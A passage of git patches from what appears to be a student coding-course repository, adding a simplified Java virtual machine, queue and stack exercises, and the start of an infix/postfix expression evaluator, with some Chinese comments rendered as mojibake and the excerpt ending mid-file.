+				nextFrame.setCallerFrame(frame);
+				setupFunctionCallParams(frame, nextFrame);
+				
+			} else {
+				stack.pop();
+			}
+		}
+		
+	}
+	
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		Method nextMethod = nextFrame.getMethod();
+		
+		List<String> paramList = nextMethod.getParameterList();
+		// ���� 1 ����ΪҪ�� this Ҳ����ȥ
+		int paramNum = paramList.size() + 1;
+		
+		List<JavaObject> values = new ArrayList<JavaObject>();
+		// ��ջ��ȡ�� ջ���� X ��Ԫ��
+		while(paramNum > 0){
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum--;
+		}
+		
+		// ��һ���б���������
+		List<JavaObject> params = new ArrayList<JavaObject>();
+		for(int i = values.size() -1; i>=0; i--){
+			params.add(values.get(i));
+		}
+		
+		nextFrame.setLocalVariableTable(params);
+		
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/Heap.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..e1907976be
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/Heap.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.engine;
+
+public class Heap {
+	
+	/**
+	 * û��ʵ���������գ� ���Զ��������´����Ķ��� ��û�м�¼��һ�����ݽṹ����
+	 */
+	
+	private static Heap instance = new Heap();
+	
+	private Heap(){  }
+	
+	public static Heap getInstance(){
+		return instance;
+	}
+	
+	public JavaObject newObject(String clzName){
+		
+		JavaObject jo = new JavaObject(JavaObject.OBJECT);
+		jo.setClassName(clzName);
+		return jo;	
+	}
+	
+	public JavaObject newString(String value){
+		JavaObject jo = new JavaObject(JavaObject.STRING);
+		jo.setStringValue(value);
+		return jo;
+	}
+	
+	public JavaObject newFloat(float value){
+		JavaObject jo = new JavaObject(JavaObject.FLOAT);
+		jo.setFloatValue(value);
+		return jo;
+	}
+	
+	public JavaObject newInt(int value){
+		JavaObject jo = new JavaObject(JavaObject.INT);
+		jo.setIntValue(value);
+		return jo;
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/JavaObject.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/JavaObject.java
new file mode 100644
index 0000000000..62fd2ce2a9
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/JavaObject.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.engine;
+
+import java.util.HashMap;
+import java.util.Map;
+
+public class JavaObject {
+	public static final int OBJECT = 1;
+	public static final int STRING = 2;
+	public static final int INT = 3;
+	public static final int FLOAT = 4;
+	
+	int type;
+	private String className;
+	
+	private Map<String, JavaObject> fieldValues = new HashMap<String,JavaObject>();
+	
+	private String stringValue;
+	
+	private int intValue;
+	
+	private float floatValue;
+	
+	public void setFieldValue(String fieldName, JavaObject fieldValue){
+		fieldValues.put(fieldName, fieldValue);
+	}
+	public JavaObject(int type){
+		this.type = type;
+	}
+	public void setClassName(String className){
+		this.className = className;
+	}
+	public void setStringValue(String value){
+		stringValue = value;
+	}
+	public String getStringValue(){
+		return this.stringValue;
+	}
+	public void setIntValue(int value) {
+		this.intValue = value;		
+	}
+	public int getIntValue(){
+		return this.intValue;
+	}
+	public int getType(){
+		return type;
+	}
+	public JavaObject getFieldValue(String fieldName){
+		return this.fieldValues.get(fieldName);
+	}
+	public String toString(){
+		switch(this.getType()){
+		case INT: 
+			return String.valueOf(this.intValue);
+		case STRING:
+			return this.stringValue;
+		case OBJECT:
+			return this.className +":"+ this.fieldValues;
+		case FLOAT :
+			return String.valueOf(this.floatValue);
+		default:
+			return null;
+		}
+	}
+	public String getClassName(){
+		return this.className;
+	}
+	public void setFloatValue(float value) {
+		this.floatValue = value;		
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MethodArea.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MethodArea.java
new file mode 100644
index 0000000000..8cc2ee2c37
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MethodArea.java
@@ -0,0 +1,88 @@
+package com.coderising.jvm.engine;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class MethodArea {
+public static final MethodArea instance = new MethodArea();
+	
+	/**
+	 * ע�⣺�������˼���ļ򻯣� ClassLoader ֻ��һ���� ʵ��JVM�е�ClassLoader,��һ��˫��ί�е�ģ��
+	 */
+	
+	private ClassFileLoader clzLoader = null;
+	
+	Map<String,ClassFile> map = new HashMap<String,ClassFile>();
+	
+	private MethodArea(){		
+	}
+	
+	public static MethodArea getInstance(){
+		return instance;
+	}
+	
+	public void setClassFileLoader(ClassFileLoader clzLoader){
+		this.clzLoader = clzLoader;
+	}
+	
+	public Method getMainMethod(String className) throws IOException{
+		
+		ClassFile clzFile = this.findClassFile(className);
+		
+		return clzFile.getMainMethod();
+	}
+	
+	
+	public  ClassFile findClassFile(String className) throws IOException{
+		
+		if(map.get(className) != null){
+			return map.get(className);
+		}
+		// ������class �ļ���û��load��
+		ClassFile clzFile = this.clzLoader.loadClass(className);
+		
+		map.put(className, clzFile);
+		
+		return clzFile;
+		
+	}
+	
+	
+	public Method getMethod(String className, String methodName, String paramAndReturnType) throws IOException{
+		
+		ClassFile clz = this.findClassFile(className);
+		
+		Method m = clz.getMethod(methodName, paramAndReturnType);
+		
+		if(m == null){
+			
+			throw new RuntimeException("method can't be found : \n" 
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		
+		return m;
+	}
+	
+	
+	public Method getMethod(MethodRefInfo methodRef) throws IOException{		
+		
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+		
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+		
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		
+		return m;
+			
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVM.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVM.java
new file mode 100644
index 0000000000..43bfb6ec97
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVM.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.engine;
+
+import java.io.IOException;
+
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class MiniJVM {
+	
+	public void run(String[] classPaths, String className) throws IOException{
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		for (int i = 0; i < classPaths.length; i++) {
+			loader.addClassPath(classPaths[i]);
+		}
+		
+		MethodArea methodArea = MethodArea.getInstance();
+		
+		methodArea.setClassFileLoader(loader);
+		
+		ExecutorEngine engine = new ExecutorEngine();
+		
+		className = className.replace(".", "/");
+		
+		engine.execute(methodArea.getMainMethod(className));
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVMTest.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVMTest.java
new file mode 100644
index 0000000000..1b70348d1a
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVMTest.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.engine;
+
+import static org.junit.Assert.*;
+
+import java.io.IOException;
+
+import org.junit.Test;
+
+public class MiniJVMTest {
+
+	static final String PATH = "D:\\";
+	
+	@Test
+	public void test() throws IOException {
+		String []classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "EmployeeV1");
+		
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/StackFrame.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/StackFrame.java
new file mode 100644
index 0000000000..877fd67d17
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/StackFrame.java
@@ -0,0 +1,115 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.method.Method;
+
+public class StackFrame {
+	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
+	private Stack<JavaObject> oprandStack = new Stack<JavaObject>();
+	
+	int index = 0;
+	
+	private Method m = null;
+	
+	private StackFrame callerFrame = null;
+	
+	public StackFrame getCallerFrame() {
+		return callerFrame;
+	}
+
+	public void setCallerFrame(StackFrame callerFrame) {
+		this.callerFrame = callerFrame;
+	}
+	
+	public static  StackFrame create(Method m){
+		
+		StackFrame frame = new StackFrame( m );			
+		
+		return frame;
+	}
+
+	private StackFrame(Method m) {		
+		this.m = m;
+		
+	}
+	
+	public JavaObject getLocalVariableValue(int index){
+		return this.localVariableTable.get(index);
+	}
+	
+	public Stack<JavaObject> getOprandStack(){
+		return this.oprandStack;
+	}
+	
+	public int getNextCommandIndex(int offset){
+		
+		ByteCodeCommand [] cmds = m.getCodeAttr().getCmds();
+		for(int i=0;i<cmds.length; i++){
+			if(cmds[i].getOffset() == offset){
+				return i;
+			}
+		}
+		throw new RuntimeException("Can't find next command");
+	}
+	
+	public ExecutionResult execute(){
+		
+		ByteCodeCommand	 []cmds = m.getCmds();
+		
+		while( index < cmds.length){
+			
+			ExecutionResult result = new ExecutionResult();
+			// ȱʡֵ��ִ����һ��ָ��
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+			System.out.println(cmds[index].toString());
+			cmds[index].execute(this, result);
+			
+			if(result.isRunNextCmd()){
+				index++;
+			}else if(result.isExitCurrentFrame()){
+				return result;
+			}else if(result.isPauseAndRunNewFrame()){
+				index++;
+				return result;
+			}else if(result.isJump()){
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			}else{
+				index++;
+			}
+			
+		}
+		
+		
+		// ��ǰ StackFrame ��ָ��ȫ��ִ���꣬�����˳���
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
+		
+	}
+
+	
+	public void setLocalVariableTable(List<JavaObject> values){
+		this.localVariableTable = values;	
+	}
+	
+	public void setLocalVariableValue(int index, JavaObject jo){
+		//���⣺ ΪʲôҪ��ô������
+		if(this.localVariableTable.size()-1 < index){
+			for(int i=this.localVariableTable.size(); i<=index; i++){
+				this.localVariableTable.add(null);
+			}
+		}
+		this.localVariableTable.set(index, jo);
+		
+		
+	}
+	
+	public Method getMethod(){
+		return m;
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/loader/ClassFileLoader.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/loader/ClassFileLoader.java
index 6e479bbce9..c2328bcfba 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/loader/ClassFileLoader.java
@@ -22,8 +22,9 @@ public class ClassFileLoader {
 	 *  @�ֽ�����
 	 */
 	public byte[] readBinaryCode(String className) throws IOException{
+		System.out.println("className: " + className);
 		DataInputStream dis = new DataInputStream(
-				new BufferedInputStream(new FileInputStream(className)));
+				new BufferedInputStream(new FileInputStream("D://EmployeeV1.class")));
 		for(int i = 0; dis.available() != 0; i++){
 			a[i] = dis.readByte();
 			countForReadBinaryCode++;
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/method/Method.java b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/method/Method.java
index 572880f729..05a86d2c44 100644
--- a/group11/1310368322/src/Mini_JVM/com/coderising/jvm/method/Method.java
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/jvm/method/Method.java
@@ -1,8 +1,13 @@
 package com.coderising.jvm.method;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.attr.AttributeInfo;
 import com.coderising.jvm.attr.CodeAttr;
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.UTF8Info;
 import com.coderising.jvm.loader.ByteCodeIterator;
 
 public class Method {
@@ -54,6 +59,7 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 			System.out.println("attrCount: " + attrCount);
 			// ����method�����
 			for(int i = 0; i < attrCount; i++){
+				System.out.println("ִ�еڣ� " + i + "��");
 				int attrNameIndex  = iter.nextU2toInt();
 				String attrName = clzFile.getConstantPool().getUTF8String(attrNameIndex);
 				System.out.println(attrName);
@@ -65,4 +71,52 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 			}
 			return method;
 		}
+
+		public ByteCodeCommand[] getCmds() {
+			return this.codeAttr.getCmds();
+		}
+		
+		// �õ�������ǩ��[ Ҳ���Dz����б��ͷ���ֵ ]
+		private String getParamAndReturnType(){
+			
+			UTF8Info nameAndTypeInfo = (UTF8Info)this.getClzFile().getConstantPool()
+					.getConstantInfo(this.getDescriptorIndex());
+			return nameAndTypeInfo.getValue();
+		}
+		
+		public List<String> getParameterList() {
+			
+			// e.g  (Ljava/util/List;Ljava/lang/String;II)V
+			String paramAndType = getParamAndReturnType();
+			
+			int first = paramAndType.indexOf("(");
+			int last = paramAndType.lastIndexOf(")");
+			
+			String param = paramAndType.substring(first+1, last);// ȡ����������IJ���������
+			
+			java.util.List<String> paramList = new ArrayList<String>();
+			
+			if( null == param || "".equals(param)){
+				return paramList;
+			}
+			
+			while( !param.equals("")){
+				
+				int pos = 0;
+				// ����һ����������
+				if( param.charAt(pos) == 'L'){
+					
+					int end = param.indexOf(";");
+					if(end == -1){
+						throw new RuntimeException("can not find the ;");
+					}
+					paramList.add(param.substring(pos+1, end));
+					pos = end + 1;
+				}
+			}
+			
+			
+			
+			return null;
+		}
 }
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_1/ArrayList.java b/group11/1310368322/src/data_structure/dataStructure_1/ArrayList.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_1/ArrayList.java
rename to group11/1310368322/src/data_structure/dataStructure_1/ArrayList.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_1/LinkedList.java b/group11/1310368322/src/data_structure/dataStructure_1/LinkedList.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_1/LinkedList.java
rename to group11/1310368322/src/data_structure/dataStructure_1/LinkedList.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_2/ArrayUtil.java b/group11/1310368322/src/data_structure/dataStructure_2/ArrayUtil.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_2/ArrayUtil.java
rename to group11/1310368322/src/data_structure/dataStructure_2/ArrayUtil.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_3/LinkedList.java b/group11/1310368322/src/data_structure/dataStructure_3/LinkedList.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_3/LinkedList.java
rename to group11/1310368322/src/data_structure/dataStructure_3/LinkedList.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_4_LRU/LRUPageFrame.java b/group11/1310368322/src/data_structure/dataStructure_4_LRU/LRUPageFrame.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_4_LRU/LRUPageFrame.java
rename to group11/1310368322/src/data_structure/dataStructure_4_LRU/LRUPageFrame.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_5_Stack/StackUtil.java b/group11/1310368322/src/data_structure/dataStructure_5_Stack/StackUtil.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_5_Stack/StackUtil.java
rename to group11/1310368322/src/data_structure/dataStructure_5_Stack/StackUtil.java
diff --git a/group11/1310368322/src/data_structure/baseDataStructure_6InfixExpr/InfixExpr.java b/group11/1310368322/src/data_structure/dataStructure_6InfixExpr/InfixExpr.java
similarity index 100%
rename from group11/1310368322/src/data_structure/baseDataStructure_6InfixExpr/InfixExpr.java
rename to group11/1310368322/src/data_structure/dataStructure_6InfixExpr/InfixExpr.java
diff --git a/group11/1310368322/src/data_structure/dataStructure_8_Queue/CircleQueue.java b/group11/1310368322/src/data_structure/dataStructure_8_Queue/CircleQueue.java
new file mode 100644
index 0000000000..b5dd034ca2
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_8_Queue/CircleQueue.java
@@ -0,0 +1,40 @@
+package dataStructure_8_Queue;
+
+public class CircleQueue <E>{
+
+	private final static int DEFAULT_SIZE = 5;
+	
+	// ������������ѭ�����е�Ԫ��
+	private Object [] elementData = new Object[DEFAULT_SIZE];
+	
+	// ��ͷ
+	private int front = 0;
+	// ��β
+	private int rear = 0;
+	
+	
+	public Object getElementData(int index){
+		return elementData[index];
+	}
+	public boolean isEmpty(){
+		return front==rear;
+	}
+	
+	public int size(){
+		return rear-front;
+	}
+	
+	public void enQueue(E data){
+		if((rear+1)%DEFAULT_SIZE == front){
+			return;
+		}else{
+			rear = (++rear)%DEFAULT_SIZE;
+			elementData[rear] = data;
+		}
+	}
+	
+	public E deQueue(){
+		front = (++front)%DEFAULT_SIZE;
+		return (E) elementData[front];
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_8_Queue/Josephus.java b/group11/1310368322/src/data_structure/dataStructure_8_Queue/Josephus.java
new file mode 100644
index 0000000000..6877bbefa8
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_8_Queue/Josephus.java
@@ -0,0 +1,36 @@
+package dataStructure_8_Queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * ��Queue��ʵ��Josephus����
+ * ��������ϵ����⵱�У� N�����ݾ�������һ��ͬ�������ַ�ʽ��������������  N����Χ��һȦ��λ�ü�Ϊ0��N-1���� ���Ҵӵ�һ���˱����� ����M���˻ᱻɱ���� ֱ�����һ����������
+ * �÷�������һ��List�� �����˱�ɱ���˵Ĵ���
+ * @author liuxin
+ *
+ */
+
+public class Josephus {
+	
+	
+	public static List<Integer> execute(int n, int m){	
+		List<Integer> list = new ArrayList<Integer>();
+		List<Integer> listNew = new ArrayList<Integer>();
+		for (int i = 0; i < n; i++) {
+			list.add(i);
+		}
+		
+		int size = list.size();
+		System.out.println(list.size());
+		int index = 0;
+		while(size != 0){
+			index += m-1;
+			index = index%size;
+			listNew.add(list.remove(index));
+			size--;
+		}
+		
+		return listNew;
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_8_Queue/QueueWithTwoStack.java b/group11/1310368322/src/data_structure/dataStructure_8_Queue/QueueWithTwoStack.java
new file mode 100644
index 0000000000..a0c37e9167
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_8_Queue/QueueWithTwoStack.java
@@ -0,0 +1,53 @@
+package dataStructure_8_Queue;
+
+import java.util.Stack;
+
+/**
+ * ������ջ��ʵ��һ������
+ * @author liuxin
+ * @param <E>
+ *
+ * @param <E>
+ */
+
+public class QueueWithTwoStack<E> {
+	
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+    private static int i = 0;
+    
+    public QueueWithTwoStack() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+
+    public boolean isEmpty() {
+        return false;
+    }
+    
+    public int size() {
+        return -1;   
+    }
+
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+
+    public E deQueue() {
+    	if(stack2.isEmpty()){
+    		moveStack1ToStack2();
+    	}
+    	if(i!=0){
+    		return stack2.pop();
+    	}
+        return null;
+    }
+
+	public void moveStack1ToStack2() {
+		while(!stack1.isEmpty()){
+			stack2.push(stack1.pop());
+			i++;
+		}
+	}
+
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_9_Stack/Queue.java b/group11/1310368322/src/data_structure/dataStructure_9_Stack/Queue.java
new file mode 100644
index 0000000000..0cc93daa1c
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_9_Stack/Queue.java
@@ -0,0 +1,61 @@
+package dataStructure_9_Stack;
+
+import java.util.NoSuchElementException;
+
+
+public class Queue<E> {
+    private Node<E> first;    
+    private Node<E> last;     
+    private int size;               
+
+    
+    private static class Node<E> {
+        private E item;
+        private Node<E> next;
+    }
+
+    
+    public Queue() {
+        first = null;
+        last  = null;
+        size = 0;
+    }
+
+    
+    public boolean isEmpty() {
+        return first == null;
+    }
+
+    public int size() {
+        return size;
+    }
+
+    public void enQueue(E data) {
+        Node<E> oldlast = last;
+        last = new Node<E>();
+        last.item = data;
+        last.next = null;
+        if (isEmpty()) {
+        	first = last;
+        }
+        else{
+        	oldlast.next = last;
+        }
+        size++;
+    }
+
+    public E deQueue() {
+        if (isEmpty()) {
+        	throw new NoSuchElementException("Queue underflow");
+        }
+        E item = first.item;
+        first = first.next;
+        size--;
+        if (isEmpty()) {
+        	last = null;  
+        }
+        return item;
+    }
+
+}
+
diff --git a/group11/1310368322/src/data_structure/dataStructure_9_Stack/QuickMinStack.java b/group11/1310368322/src/data_structure/dataStructure_9_Stack/QuickMinStack.java
new file mode 100644
index 0000000000..69fbc1735b
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_9_Stack/QuickMinStack.java
@@ -0,0 +1,52 @@
+package dataStructure_9_Stack;
+
+import java.util.Stack;
+
+/**
+ * ���һ��ջ��֧��ջ��push��pop�������Լ������ֲ���findMin, �����ظ����ݽṹ�е���СԪ��
+ * finMin�������������ʱ�临�Ӷ�Ӧ����O(1) �� ������������һ�ξͿ��Եõ���Сֵ
+ * @author liuxin
+ *
+ */
+public class QuickMinStack {
+	
+	Stack<Integer> stack = new Stack<Integer>();
+	Stack<Integer> temp = new Stack<Integer>();
+	public void push(int data){
+		
+		
+		if(stack.isEmpty()){
+			stack.push(data);
+			temp.push(data);
+		}else{
+			
+			if(data<temp.peek()){	
+				stack.push(data);
+				temp.push(data);
+			}else{
+				stack.push(data);
+			}
+		}
+	}
+	public int pop(){
+		checkStackIsEmpty();
+		int i = 0;
+		if(stack.pop() == temp.peek()){
+			temp.pop();
+			i = stack.pop();
+		}else{
+			i = stack.pop();
+		}
+		return i;
+	}
+	
+	private void checkStackIsEmpty() {
+		if(stack.isEmpty()){
+			throw new RuntimeException("ջΪ��");
+		}
+		
+	}
+	public int findMin(){
+		return temp.peek();
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_9_Stack/StackWithTwoQueue.java b/group11/1310368322/src/data_structure/dataStructure_9_Stack/StackWithTwoQueue.java
new file mode 100644
index 0000000000..b28d528e35
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_9_Stack/StackWithTwoQueue.java
@@ -0,0 +1,42 @@
+package dataStructure_9_Stack;
+
+import java.util.Stack;
+
+import javax.management.RuntimeErrorException;
+
+/*
+ * ����������ʵ��һ��ջ
+ */
+
+public class StackWithTwoQueue {
+
+	Queue<Integer> queue1 = new Queue<Integer>();
+	Queue<Integer> queue2 = new Queue<Integer>();
+	
+	public void push(int data) {       
+		queue1.enQueue(data);
+	}
+
+    public int pop() {
+    	if(queue1.isEmpty()){
+    		throw new RuntimeException("ջΪ��");
+    	}
+    	moveQueue1ToQueue2LeftLastOne();
+    	int pop = queue1.deQueue();
+    	moveQueue2ToQueue1();
+        return pop;
+    }
+
+	private void moveQueue2ToQueue1() {
+		while(!queue2.isEmpty()){
+			queue1.enQueue(queue2.deQueue());
+		}
+		
+	}
+
+	private void moveQueue1ToQueue2LeftLastOne() {
+		while(queue1.size()!=1){
+			queue2.enQueue(queue1.deQueue());;
+		}
+	}
+}
diff --git a/group11/1310368322/src/data_structure/dataStructure_9_Stack/TwoStackInOneArray.java b/group11/1310368322/src/data_structure/dataStructure_9_Stack/TwoStackInOneArray.java
new file mode 100644
index 0000000000..3b1c4ec8d2
--- /dev/null
+++ b/group11/1310368322/src/data_structure/dataStructure_9_Stack/TwoStackInOneArray.java
@@ -0,0 +1,89 @@
+package dataStructure_9_Stack;
+import java.util.ArrayList;
+
+import javax.management.RuntimeErrorException;
+/**
+ * ��һ������ʵ������ջ
+ * ���������ʼλ�ÿ����ǵ�һ��ջ��ջ�ף��������β�������ڶ���ջ��ջ�ף�ѹջʱ��ջ��ָ��ֱ����м��ƶ���ֱ����ջ��ָ�������������ݡ�
+ * @author liuxin
+ *
+ */
+public class TwoStackInOneArray {
+	
+	Object[] data = new Object[10];
+	int i = 0;// ��һ��ջ ��ջ��ָ��
+	int j = data.length-1;// �ڶ���ջ��ջ��ָ��
+	public int getSize(){
+		return data.length;
+	}
+	/**
+	 * ���һ��ջ��ѹ��Ԫ��
+	 * @param o
+	 */
+	public void push1(Object o){
+		ensureCapacity();
+		System.out.println("i= " + i);
+		data[i++] = o;
+	}
+
+	/**
+	 * �ӵ�һ��ջ�е���Ԫ��
+	 * @return
+	 */
+	public Object pop1(){
+		if(i ==0 ){
+			throw new RuntimeException("��һ��ջΪ��");
+		}
+		
+		return data[i--];
+	}
+	
+	/**
+	 * ��ȡ��һ��ջ��ջ��Ԫ��
+	 * @return
+	 */
+	
+	public Object peek1(){
+		return data[i];
+	}
+	/*
+	 * ��ڶ���ջѹ��Ԫ��
+	 */
+	public void push2(Object o){
+		ensureCapacity();
+		System.out.println("j==" + j);
+		data[j--] = o;
+	}
+	/**b
+	 * �ӵڶ���ջ����Ԫ��
+	 * @return
+	 */
+	public Object pop2(){
+		return data[j++];
+	}
+	/**
+	 * ��ȡ�ڶ���ջ��ջ��Ԫ��
+	 * @return
+	 */
+	
+	public Object peek2(){
+		return data[j];
+	}
+	
+	private void ensureCapacity() {
+		System.out.println("ensureCapacity: " + i + "��" + j);
+		if(i >= j){
+			data = grow();
+			j = data.length - j;
+		}
+		
+	}
+
+	private Object[] grow() {
+		Object[] dataNew = new Object[data.length*2];
+		System.arraycopy(data, 0, dataNew, 0, i);
+		System.arraycopy(data, i, dataNew, dataNew.length-j, j);
+		return dataNew;
+		
+	}
+}

From 604957990f306341a4f4b21538f675aebdae8c4c Mon Sep 17 00:00:00 2001
From: GallenZhang <1298552064@qq.com>
Date: Sun, 7 May 2017 19:39:22 +0800
Subject: [PATCH 223/262] =?UTF-8?q?=E7=AC=AC=E4=B8=83=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A=E4=B9=8B=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

第七次作业之数据结构
---
 .../src/week07/basic/InfixToPostfix.java      | 45 ++++++++++++++++
 .../src/week07/basic/PostfixExpr.java         | 51 ++++++++++++++++++
 .../src/week07/basic/PrefixExpr.java          | 51 ++++++++++++++++++
 .../1298552064/src/week07/basic/Token.java    | 52 +++++++++++++++++++
 .../src/week07/basic/TokenParser.java         | 44 ++++++++++++++++
 .../src/week07/test/InfixToPostfixTest.java   | 35 +++++++++++++
 .../src/week07/test/PostfixExprTest.java      | 37 +++++++++++++
 .../src/week07/test/PrefixExprTest.java       | 43 +++++++++++++++
 8 files changed, 358 insertions(+)
 create mode 100644 group01/1298552064/src/week07/basic/InfixToPostfix.java
 create mode 100644 group01/1298552064/src/week07/basic/PostfixExpr.java
 create mode 100644 group01/1298552064/src/week07/basic/PrefixExpr.java
 create mode 100644 group01/1298552064/src/week07/basic/Token.java
 create mode 100644 group01/1298552064/src/week07/basic/TokenParser.java
 create mode 100644 group01/1298552064/src/week07/test/InfixToPostfixTest.java
 create mode 100644 group01/1298552064/src/week07/test/PostfixExprTest.java
 create mode 100644 group01/1298552064/src/week07/test/PrefixExprTest.java

diff --git a/group01/1298552064/src/week07/basic/InfixToPostfix.java b/group01/1298552064/src/week07/basic/InfixToPostfix.java
new file mode 100644
index 0000000000..0d0c2c5b34
--- /dev/null
+++ b/group01/1298552064/src/week07/basic/InfixToPostfix.java
@@ -0,0 +1,45 @@
+package week07.basic;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class InfixToPostfix {
+	public static List<Token> convert(String expr) {
+		TokenParser tokenParser = new TokenParser();
+		List<Token> tokens = tokenParser.parse(expr);
+		List<Token> rsTokens = new ArrayList<>();
+		Stack<Token> operatorStack = new Stack<>();
+		for(int i=0 ; i < tokens.size(); i++){
+			Token token = tokens.get(i);
+			if(token.isNumber()){
+				rsTokens.add(token);
+				continue;
+			}
+			
+			if(token.isOperator()){
+				if(operatorStack.isEmpty()){
+					operatorStack.push(token);
+					continue;
+				}
+				
+				Token curStack = operatorStack.peek();
+				if(token.hasHigherPriority(curStack)){
+					operatorStack.push(token);
+				}else{
+					while(!operatorStack.isEmpty() && (curStack = operatorStack.peek()).hasHigherPriority(token)){
+						rsTokens.add(curStack);
+						operatorStack.pop();
+					}
+					operatorStack.push(token);
+				}
+				
+			}
+		}
+		
+		while(!operatorStack.isEmpty()){
+			rsTokens.add(operatorStack.pop());
+		}
+		return rsTokens;
+	}
+}
diff --git a/group01/1298552064/src/week07/basic/PostfixExpr.java b/group01/1298552064/src/week07/basic/PostfixExpr.java
new file mode 100644
index 0000000000..1a414b5ba2
--- /dev/null
+++ b/group01/1298552064/src/week07/basic/PostfixExpr.java
@@ -0,0 +1,51 @@
+package week07.basic;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+	String expr = null;
+
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	/**
+	 * 计算
+	 * @param operator 运算符
+	 * @param i1 操作数1
+	 * @param i2 操作数2
+	 * @return
+	 */
+	private int cal(char operator, int i1, int i2){
